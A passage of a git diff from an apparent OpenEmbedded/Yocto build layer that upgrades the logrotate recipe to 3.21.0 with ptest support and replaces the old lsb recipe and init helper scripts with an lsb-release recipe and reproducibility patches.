-- if (rename(tmpFilename, stateFilename)) {
-+ if (mvFile(tmpFilename, stateFilename, log, prev_acl)) {
- unlink(tmpFilename);
- error = 1;
- message(MESS_ERROR, "error renaming temp state file %s\n",
-@@ -2648,7 +2696,7 @@ int main(int argc, const char **argv)
- rc |= rotateLogSet(log, force);
-
- if (!debug)
-- rc |= writeState(stateFile);
-+ rc |= writeState(log, stateFile);
-
- return (rc != 0);
- }
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch b/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
deleted file mode 100644
index 793d702598..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/disable-check-different-filesystems.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-Disable the check for different filesystems
-
-The logrotate supports rotate log across different filesystems now, so
-disable the check for different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- config.c | 9 ---------
- 1 file changed, 9 deletions(-)
-
-diff --git a/config.c b/config.c
-index dbbf563..64e66f6 100644
---- a/config.c
-+++ b/config.c
-@@ -1493,15 +1493,6 @@ static int readConfigFile(const char *configFile, struct logInfo *defConfig)
- goto error;
- }
- }
--
-- if (sb.st_dev != sb2.st_dev
-- && !(newlog->flags & (LOG_FLAG_COPYTRUNCATE | LOG_FLAG_COPY | LOG_FLAG_TMPFILENAME))) {
-- message(MESS_ERROR,
-- "%s:%d olddir %s and log file %s "
-- "are on different devices\n", configFile,
-- lineNum, newlog->oldDir, newlog->files[i]);
-- goto error;
-- }
- }
- }
-
diff --git a/meta/recipes-extended/logrotate/logrotate/run-ptest b/meta/recipes-extended/logrotate/logrotate/run-ptest
new file mode 100755
index 0000000000..b272def65f
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate/run-ptest
@@ -0,0 +1,5 @@
+#!/bin/sh
+
+set -u
+
+make -k check
diff --git a/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch b/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch
deleted file mode 100644
index 725567e0c9..0000000000
--- a/meta/recipes-extended/logrotate/logrotate/update-the-manual.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From bf22e8805df69344f6f20cea390e829a22fa741b Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
-Date: Tue, 17 Feb 2015 21:14:37 -0800
-Subject: [PATCH] Update the manual
-
-Update the manual for rotating on different filesystems.
-
-Upstream-Status: Pending
-
-Signed-off-by: Robert Yang <liezhi.yang@windriver.com>
----
- logrotate.8.in | 10 ++++------
- 1 file changed, 4 insertions(+), 6 deletions(-)
-
-diff --git a/logrotate.8.in b/logrotate.8.in
-index 951e406..581bf48 100644
---- a/logrotate.8.in
-+++ b/logrotate.8.in
-@@ -445,12 +445,10 @@ Do not rotate the log if it is empty (this overrides the \fBifempty\fR option).
-
- .TP
- \fBolddir \fIdirectory\fR
--Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR must be
--on the same physical device as the log file being rotated, unless \fBcopy\fR,
--\fBcopytruncate\fR or \fBrenamecopy\fR option is used. The \fIdirectory\fR
--is assumed to be relative to the directory holding the log file
--unless an absolute path name is specified. When this option is used all
--old versions of the log end up in \fIdirectory\fR. This option may be
-+Logs are moved into \fIdirectory\fR for rotation. The \fIdirectory\fR
-+is assumed to be relative to the directory holding the log file unless
-+an absolute path name is specified. When this option is used all old
-+versions of the log end up in \fIdirectory\fR. This option may be
- overridden by the \fBnoolddir\fR option.
-
- .TP
---
-1.8.3.1
-
diff --git a/meta/recipes-extended/logrotate/logrotate_3.13.0.bb b/meta/recipes-extended/logrotate/logrotate_3.13.0.bb
deleted file mode 100644
index 990cf9178b..0000000000
--- a/meta/recipes-extended/logrotate/logrotate_3.13.0.bb
+++ /dev/null
@@ -1,85 +0,0 @@
-SUMMARY = "Rotates, compresses, removes and mails system log files"
-SECTION = "console/utils"
-HOMEPAGE = "https://github.com/logrotate/logrotate/issues"
-LICENSE = "GPLv2"
-
-# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
-
-DEPENDS="coreutils popt"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-# When updating logrotate to latest upstream, SRC_URI should point to
-# a proper release tarball from https://github.com/logrotate/logrotate/releases
-# and we have to take the snapshot for now because there is no such
-# tarball available for 3.9.1.
-
-S = "${WORKDIR}/${BPN}-${PV}"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://act-as-mv-when-rotate.patch \
- file://update-the-manual.patch \
- file://disable-check-different-filesystems.patch \
- "
-
-SRC_URI[md5sum] = "78ef24d6fddcc4df8e412dd75c551b4c"
-SRC_URI[sha256sum] = "3222ca032f99be8d7a4a8c6ad69f3dcc49b9511bfe384bd5a271ebcd9bd3e52c"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
-
-PACKAGECONFIG[acl] = ",,acl"
-PACKAGECONFIG[selinux] = ",,libselinux"
-
-CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \
- ${sysconfdir}/logrotate.conf"
-
-# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
-# optimization variables, so use it rather than EXTRA_CFLAGS.
-EXTRA_OEMAKE = "\
- LFS= \
- OS_NAME='${OS_NAME}' \
- 'CC=${CC}' \
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'EXTRA_LDFLAGS=${LDFLAGS}' \
- ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
-"
-
-# OS_NAME in the makefile defaults to `uname -s`. The behavior for
-# freebsd/netbsd is questionable, so leave it as Linux, which only sets
-# INSTALL=install and BASEDIR=/usr.
-OS_NAME = "Linux"
-
-inherit autotools systemd
-
-SYSTEMD_SERVICE_${PN} = "\
- ${BPN}.service \
- ${BPN}.timer \
-"
-
-LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
-LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
-
-do_install(){
- oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
- mkdir -p ${D}${sysconfdir}/logrotate.d
- mkdir -p ${D}${localstatedir}/lib
- install -p -m 644 ${S}/examples/logrotate-default ${D}${sysconfdir}/logrotate.conf
- touch ${D}${localstatedir}/lib/logrotate.status
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
- install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
- sed -i -e 's,OnCalendar=.*$,OnCalendar=${LOGROTATE_SYSTEMD_TIMER_BASIS},g' ${D}${systemd_system_unitdir}/logrotate.timer
- sed -i -e 's,AccuracySec=.*$,AccuracySec=${LOGROTATE_SYSTEMD_TIMER_ACCURACY},g' ${D}${systemd_system_unitdir}/logrotate.timer
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- mkdir -p ${D}${sysconfdir}/cron.daily
- install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
- fi
-}
diff --git a/meta/recipes-extended/logrotate/logrotate_3.21.0.bb b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
new file mode 100644
index 0000000000..10a6149abc
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate_3.21.0.bb
@@ -0,0 +1,114 @@
+SUMMARY = "Rotates, compresses, removes and mails system log files"
+SECTION = "console/utils"
+HOMEPAGE = "https://github.com/logrotate/logrotate/"
+DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
+LICENSE = "GPL-2.0-only"
+
+# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
+
+DEPENDS="coreutils popt"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+SRC_URI = "${GITHUB_BASE_URI}/download/${PV}/${BP}.tar.xz \
+ file://run-ptest \
+ "
+
+SRC_URI[sha256sum] = "8fa12015e3b8415c121fc9c0ca53aa872f7b0702f543afda7e32b6c4900f6516"
+
+CVE_STATUS_GROUPS = "CVE_STATUS_RECIPE"
+CVE_STATUS_RECIPE = "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
+CVE_STATUS_RECIPE[status] = "not-applicable-platform: CVE is debian, gentoo or SUSE specific on the way logrotate was installed/used"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
+
+PACKAGECONFIG[acl] = ",,acl"
+PACKAGECONFIG[selinux] = ",,libselinux"
+
+CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
+ ${sysconfdir}/logrotate.conf \
+ ${sysconfdir}/logrotate.d/btmp \
+ ${sysconfdir}/logrotate.d/wtmp"
+
+# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
+# optimization variables, so use it rather than EXTRA_CFLAGS.
+EXTRA_OEMAKE = "\
+ LFS= \
+ OS_NAME='${OS_NAME}' \
+ 'CC=${CC}' \
+ 'RPM_OPT_FLAGS=${CFLAGS}' \
+ 'EXTRA_LDFLAGS=${LDFLAGS}' \
+ ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
+"
+
+# OS_NAME in the makefile defaults to `uname -s`. The behavior for
+# freebsd/netbsd is questionable, so leave it as Linux, which only sets
+# INSTALL=install and BASEDIR=/usr.
+OS_NAME = "Linux"
+
+inherit autotools systemd github-releases ptest
+
+SYSTEMD_SERVICE:${PN} = "\
+ ${BPN}.service \
+ ${BPN}.timer \
+"
+
+LOGROTATE_OPTIONS ?= ""
+
+LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
+LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
+LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
+
+do_install(){
+ oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
+ mkdir -p ${D}${sysconfdir}/logrotate.d
+ mkdir -p ${D}${localstatedir}/lib
+ install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
+ install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
+ install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
+ install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
+ [ -z "${LOGROTATE_OPTIONS}" ] ||
+ sed -ri \
+ -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.service
+ sed -ri \
+ -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
+ -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
+ -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.timer
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
+ fi
+}
+
+do_install_ptest() {
+ cp -r ${S}/test/* ${D}${PTEST_PATH}
+ cp ${S}/test-driver ${D}${PTEST_PATH}
+ cp ${B}/test/Makefile ${D}${PTEST_PATH}
+
+ # Do not rebuild Makefile
+ sed -i 's/^Makefile:/_Makefile:/' ${D}${PTEST_PATH}/Makefile
+
+ # Fix top_builddir and top_srcdir
+ sed -e 's/^top_builddir = \(.*\)/top_builddir = ./' \
+ -e 's/^top_srcdir = \(.*\)/top_srcdir = ./' \
+ -i ${D}${PTEST_PATH}/Makefile
+
+ # Replace bash with sh
+ sed -i 's,/bin/bash,/bin/sh,' ${D}${PTEST_PATH}/Makefile
+
+ # Replace gawk with awk
+ sed -i 's/gawk/awk/' ${D}${PTEST_PATH}/Makefile
+ ln -s ${sbindir}/logrotate ${D}${PTEST_PATH}
+}
+
+# coreutils is needed to have "readlink"
+RDEPENDS:${PN}-ptest += "make coreutils"
diff --git a/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch b/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
new file mode 100644
index 0000000000..af095fd322
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch
@@ -0,0 +1,27 @@
+From fb0b58be938bab5571ac0bdec3725f6d88b07e9f Mon Sep 17 00:00:00 2001
+From: Jeremy Puhlman <jpuhlman@mvista.com>
+Date: Sat, 22 Feb 2020 19:01:28 +0000
+Subject: [PATCH] Remove timestamp from manpage
+
+Upstream-Status: Submitted [lsb-discuss@lists.linux-foundation.org]
+Signed-off-by: Jeremy A. Puhlman <jpuhlman@mvista.com>
+---
+ Makefile | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/Makefile b/Makefile
+index 04fdecd..5be8081 100644
+--- a/Makefile
++++ b/Makefile
+@@ -17,7 +17,7 @@ man: lsb_release.1.gz
+
+ lsb_release.1.gz: lsb_release
+ @./help2man -N --include ./lsb_release.examples --alt_version_key=program_version ./lsb_release >lsb_release.1
+- @gzip -9f lsb_release.1
++ @gzip -9fn lsb_release.1
+
+ install: all
+ install -D -m 644 lsb_release.1.gz ${mandir}/man1/lsb_release.1.gz
+--
+2.13.3
+
diff --git a/meta/recipes-extended/lsb/lsb/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch b/meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch
index 0175752067..0175752067 100644
--- a/meta/recipes-extended/lsb/lsb/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch
+++ b/meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
+lsb-release maintains it's own copy of help2man. Include the support
+for specifying SOURCE_DATE_EPOCH from upstream.
+
+Upstream-Status: Pending
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+
+diff --git a/help2man b/help2man
+index 13015c2..63439db 100755
+--- a/help2man
++++ b/help2man
+@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
+ or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
+ } qw(help), $opt_version_key;
+
+-my $date = strftime "%B %Y", localtime;
++my $epoch_secs = time;
++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
++{
++ $epoch_secs = $1;
++ $ENV{TZ} = 'UTC0';
++}
++
++my $date = strftime "%B %Y", localtime $epoch_secs;
+ (my $program = $ARGV[0]) =~ s!.*/!!;
+ my $package = $program;
+ my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
new file mode 100644
index 0000000000..00d8183a4f
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -0,0 +1,37 @@
+SUMMARY = "lsb_release support for OpenEmbedded"
+SECTION = "console/utils"
+HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
+LICENSE = "GPL-2.0-or-later"
+
+# lsb_release needs getopt
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
+
+LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
+
+SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
+ file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
+ file://0001-Remove-timestamp-from-manpage.patch \
+ file://help2man-reproducibility.patch \
+ "
+
+SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
+
+UPSTREAM_CHECK_URI = "https://sourceforge.net/projects/lsb/files/lsb_release/"
+UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
+
+CLEANBROKEN = "1"
+
+do_install() {
+ oe_runmake install prefix=${D}${root_prefix} mandir=${D}${datadir}/man/ DESTDIR=${D}
+
+ mkdir -p ${D}${sysconfdir}/lsb-release.d
+
+ echo "DISTRIB_ID=${DISTRO}" >> ${D}${sysconfdir}/lsb-release
+ echo "DISTRIB_RELEASE=${DISTRO_VERSION}" >> ${D}${sysconfdir}/lsb-release
+ if [ -n "${DISTRO_CODENAME}" ]; then
+ echo "DISTRIB_CODENAME=${DISTRO_CODENAME}" >> ${D}${sysconfdir}/lsb-release
+ fi
+ echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
+}
+
+FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsb/lsb/init-functions b/meta/recipes-extended/lsb/lsb/init-functions
deleted file mode 100755
index 7c1dce24cf..0000000000
--- a/meta/recipes-extended/lsb/lsb/init-functions
+++ /dev/null
@@ -1,44 +0,0 @@
-#!/bin/sh
-
-# LSB initscript functions, as defined in the LSB Spec 1.1.0
-#
-# Lawrence Lim <llim@core.com> - Tue, 26 June 2007
-# Updated to the latest LSB 3.1 spec
-# http://refspecs.freestandards.org/LSB_3.1.0/LSB-Core-generic/LSB-Core-generic_lines.txt
-
-start_daemon () {
- /etc/core-lsb/lsb_start_daemon "$@"
-}
-
-killproc () {
- /etc/core-lsb/lsb_killproc "$@"
-}
-
-pidofproc () {
- /etc/core-lsb/lsb_pidofproc "$@"
-}
-
-log_success_msg () {
- /etc/core-lsb/lsb_log_message success "$@"
-}
-
-log_failure_msg () {
- /etc/core-lsb/lsb_log_message failure "$@"
-}
-
-log_warning_msg () {
- /etc/core-lsb/lsb_log_message warning "$@"
-}
-
-# int log_begin_message (char *message)
-log_begin_msg () {
- if [ -z "$1" ]; then
- return 1
- fi
- echo " * $@"
-}
-
-
-log_end_msg () {
- /etc/core-lsb/lsb_log_message end "$@"
-}
diff --git a/meta/recipes-extended/lsb/lsb/lsb_killproc b/meta/recipes-extended/lsb/lsb/lsb_killproc
deleted file mode 100755
index 866c1a9c63..0000000000
--- a/meta/recipes-extended/lsb/lsb/lsb_killproc
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-
-. /etc/init.d/functions
-
-LSB=LSB-1.1 killproc $*
-exit $?
diff --git a/meta/recipes-extended/lsb/lsb/lsb_log_message b/meta/recipes-extended/lsb/lsb/lsb_log_message
deleted file mode 100755
index 10343b0819..0000000000
--- a/meta/recipes-extended/lsb/lsb/lsb_log_message
+++ /dev/null
@@ -1,27 +0,0 @@
-#!/bin/sh
-
-. /etc/init.d/functions
-
-ACTION=$1
-shift
-
-case "$ACTION" in
- success)
- echo -n $*
- success "$*"
- echo
- ;;
- failure)
- echo -n $*
- failure "$*"
- echo
- ;;
- warning)
- echo -n $*
- warning "$*"
- echo
- ;;
- *)
- ;;
-esac
-exit 0
diff --git a/meta/recipes-extended/lsb/lsb/lsb_pidofproc b/meta/recipes-extended/lsb/lsb/lsb_pidofproc
deleted file mode 100755
index 6d1fd0f249..0000000000
--- a/meta/recipes-extended/lsb/lsb/lsb_pidofproc
+++ /dev/null
@@ -1,6 +0,0 @@
-#!/bin/sh
-
-. /etc/init.d/functions
-
-pidofproc $*
-exit $?
diff --git a/meta/recipes-extended/lsb/lsb/lsb_start_daemon b/meta/recipes-extended/lsb/lsb/lsb_start_daemon
deleted file mode 100755
index de62c2344d..0000000000
--- a/meta/recipes-extended/lsb/lsb/lsb_start_daemon
+++ /dev/null
@@ -1,45 +0,0 @@
-#!/bin/sh
-
-. /etc/init.d/functions
-
-nice=
-force=
-pidfile=
-user=
-check=
-RETVAL=
-while [ "$1" != "${1##[-+]}" ]; do
- case $1 in
- -f)
- force="--force"
- shift
- ;;
- -n)
- nice=$2
- shift 2
- ;;
- -p)
- pidfile="--pidfile $2"
- shift 2
- ;;
- -u)
- user="--user $2"
- shift 2
- ;;
- -c)
- check="--check $2"
- shift 2
- ;;
- *)
- echo "Unknown Option $1"
- echo "Options are:"
- echo "-f"
- echo "-p {pidfile}"
- echo "-n [+/-nicelevel]"
- echo "-u {user}"
- echo "-c {base}"
- exit 1;;
- esac
-done
-LSB=LSB-1.1 daemon ${force:-} ${nice:-} ${pidfile:-} ${user:-} ${check:-} $*
-exit $?
diff --git a/meta/recipes-extended/lsb/lsb_4.1.bb b/meta/recipes-extended/lsb/lsb_4.1.bb
deleted file mode 100644
index 07856108b0..0000000000
--- a/meta/recipes-extended/lsb/lsb_4.1.bb
+++ /dev/null
@@ -1,135 +0,0 @@
-SUMMARY = "LSB support for OpenEmbedded"
-SECTION = "console/utils"
-HOMEPAGE = "http://prdownloads.sourceforge.net/lsb"
-LICENSE = "GPLv2+"
-PR = "r2"
-
-LSB_CORE = "lsb-core-${TARGET_ARCH}"
-LSB_CORE_x86 = "lsb-core-ia32"
-LSB_CORE_x86-64 = "lsb-core-amd64"
-RPROVIDES_${PN} += "${LSB_CORE}"
-
-# lsb_release needs getopt, lsbinitscripts
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt} lsbinitscripts"
-
-LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
- file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
- file://init-functions \
- file://lsb_killproc \
- file://lsb_log_message \
- file://lsb_pidofproc \
- file://lsb_start_daemon \
- "
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
-SRC_URI[sha256sum] = "99321288f8d62e7a1d485b7c6bdccf06766fb8ca603c6195806e4457fdf17172"
-
-UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/lsb/files/lsb_release/"
-UPSTREAM_CHECK_REGEX = "/lsb_release/(?P<pver>(\d+[\.\-_]*)+)/"
-
-S = "${WORKDIR}/lsb-release-1.4"
-
-CLEANBROKEN = "1"
-
-do_install() {
- oe_runmake install prefix=${D}${base_prefix} mandir=${D}${datadir}/man/ DESTDIR=${D}
-
- # these two dirs are needed by package lsb-dist-checker
- mkdir -p ${D}${sysconfdir}/opt
- mkdir -p ${D}${localstatedir}/opt
-
- mkdir -p ${D}${base_libdir}
- mkdir -p ${D}${sysconfdir}/lsb-release.d
- printf "LSB_VERSION=\"core-4.1-noarch:" > ${D}${sysconfdir}/lsb-release
-
- if [ "${TARGET_ARCH}" = "i586" ] || [ "${TARGET_ARCH}" = "i686" ]; then
- printf "core-4.1-ia32" >> ${D}${sysconfdir}/lsb-release
- else
- printf "core-4.1-${TARGET_ARCH}" >> ${D}${sysconfdir}/lsb-release
- fi
- echo "\"" >> ${D}${sysconfdir}/lsb-release
- echo "DISTRIB_ID=${DISTRO}" >> ${D}${sysconfdir}/lsb-release
- echo "DISTRIB_RELEASE=${DISTRO_VERSION}" >> ${D}${sysconfdir}/lsb-release
- if [ -n "${DISTRO_CODENAME}" ]; then
- echo "DISTRIB_CODENAME=${DISTRO_CODENAME}" >> ${D}${sysconfdir}/lsb-release
- fi
- echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
-
- if [ "${TARGET_ARCH}" = "i586" ] || [ "${TARGET_ARCH}" = "i686" ]; then
- mkdir -p ${D}${sysconfdir}/lsb-release.d
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-noarch
- touch ${D}${sysconfdir}/lsb-release.d/desktop-${PV}-noarch
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-ia32
- touch ${D}${sysconfdir}/lsb-release.d/desktop-${PV}-ia32
- elif [ "${TARGET_ARCH}" = "x86_64" ]; then
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-noarch
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-amd64
- touch ${D}${sysconfdir}/lsb-release.d/desktop-${PV}-amd64
- fi
- if [ "${TARGET_ARCH}" = "powerpc" ]; then
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-noarch
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-ppc32
- touch ${D}${sysconfdir}/lsb-release.d/desktop-${PV}-ppc32
- elif [ "${TARGET_ARCH}" = "powerpc64" ]; then
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-noarch
- touch ${D}${sysconfdir}/lsb-release.d/graphics-${PV}-ppc64
- touch ${D}${sysconfdir}/lsb-release.d/desktop-${PV}-ppc64
- fi
-}
-
-do_install_append() {
- install -d ${D}${sysconfdir}/core-lsb
- for i in lsb_killproc lsb_log_message lsb_pidofproc lsb_start_daemon
- do
- install -m 0755 ${WORKDIR}/$i ${D}${sysconfdir}/core-lsb
- done
-
- install -d ${D}${nonarch_base_libdir}/lsb
- install -m 0755 ${WORKDIR}/init-functions ${D}${nonarch_base_libdir}/lsb
-
- # create links for LSB test
- if [ -e ${sbindir}/chkconfig ]; then
- if [ "${nonarch_base_libdir}" != "${nonarch_libdir}" ] ; then
- install -d ${D}${nonarch_libdir}/lsb
- fi
- ln -sf ${sbindir}/chkconfig ${D}${nonarch_libdir}/lsb/install_initd
- ln -sf ${sbindir}/chkconfig ${D}${nonarch_libdir}/lsb/remove_initd
- fi
-
- if [ "${TARGET_ARCH}" = "x86_64" ]; then
- if [ "${base_libdir}" != "${base_prefix}/lib64" ]; then
- lnr ${D}${base_libdir} ${D}${base_prefix}/lib64
- fi
- cd ${D}${base_libdir}
- ln -sf ld-linux-x86-64.so.2 ld-lsb-x86-64.so.2
- ln -sf ld-linux-x86-64.so.2 ld-lsb-x86-64.so.3
- fi
- if [ "${TARGET_ARCH}" = "i586" ] || [ "${TARGET_ARCH}" = "i686" ]; then
- cd ${D}${base_libdir}
- ln -sf ld-linux.so.2 ld-lsb.so.2
- ln -sf ld-linux.so.2 ld-lsb.so.3
- fi
-
- if [ "${TARGET_ARCH}" = "powerpc64" ]; then
- if [ "${base_libdir}" != "${base_prefix}/lib64" ]; then
- lnr ${D}${base_libdir} ${D}${base_prefix}/lib64
- fi
- cd ${D}${base_libdir}
- ln -sf ld64.so.1 ld-lsb-ppc64.so.2
- ln -sf ld64.so.1 ld-lsb-ppc64.so.3
- fi
- if [ "${TARGET_ARCH}" = "powerpc" ]; then
- cd ${D}${base_libdir}
- ln -sf ld.so.1 ld-lsb-ppc32.so.2
- ln -sf ld.so.1 ld-lsb-ppc32.so.3
- fi
-}
-
-FILES_${PN} += "${@'${base_prefix}/lib64' if d.getVar('TARGET_ARCH') == ('x86_64' or 'powerpc64') and '${base_libdir}' != '${base_prefix}/lib64' else ''} \
- ${base_libdir} \
- ${nonarch_libdir}/lsb \
- ${nonarch_base_libdir}/lsb/* \
- "
diff --git a/meta/recipes-extended/lsb/lsbinitscripts/0001-functions-avoid-exit-1-which-causes-init-scripts-to-.patch b/meta/recipes-extended/lsb/lsbinitscripts/0001-functions-avoid-exit-1-which-causes-init-scripts-to-.patch
deleted file mode 100644
index 17c90029c3..0000000000
--- a/meta/recipes-extended/lsb/lsbinitscripts/0001-functions-avoid-exit-1-which-causes-init-scripts-to-.patch
+++ /dev/null
@@ -1,24 +0,0 @@
-Upstream-Status: Pending
-
-Subject: functions: avoid exit 1 which causes init scripts to fail
-
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
----
- rc.d/init.d/functions | 2 +-
- 1 file changed, 1 insertion(+), 1 deletion(-)
-
-diff --git a/rc.d/init.d/functions b/rc.d/init.d/functions
-index 6850046..11223f7 100644
---- a/rc.d/init.d/functions
-+++ b/rc.d/init.d/functions
-@@ -597,6 +597,6 @@ if [ "$_use_systemctl" = "1" ]; then
- fi
- fi
-
--strstr "$(cat /proc/cmdline)" "rc.debug" && set -x
-+strstr "$(cat /proc/cmdline)" "rc.debug" && set -x || true
- return 0
-
---
-2.1.0
-
diff --git a/meta/recipes-extended/lsb/lsbinitscripts/functions.patch b/meta/recipes-extended/lsb/lsbinitscripts/functions.patch
deleted file mode 100644
index 9c58d90c38..0000000000
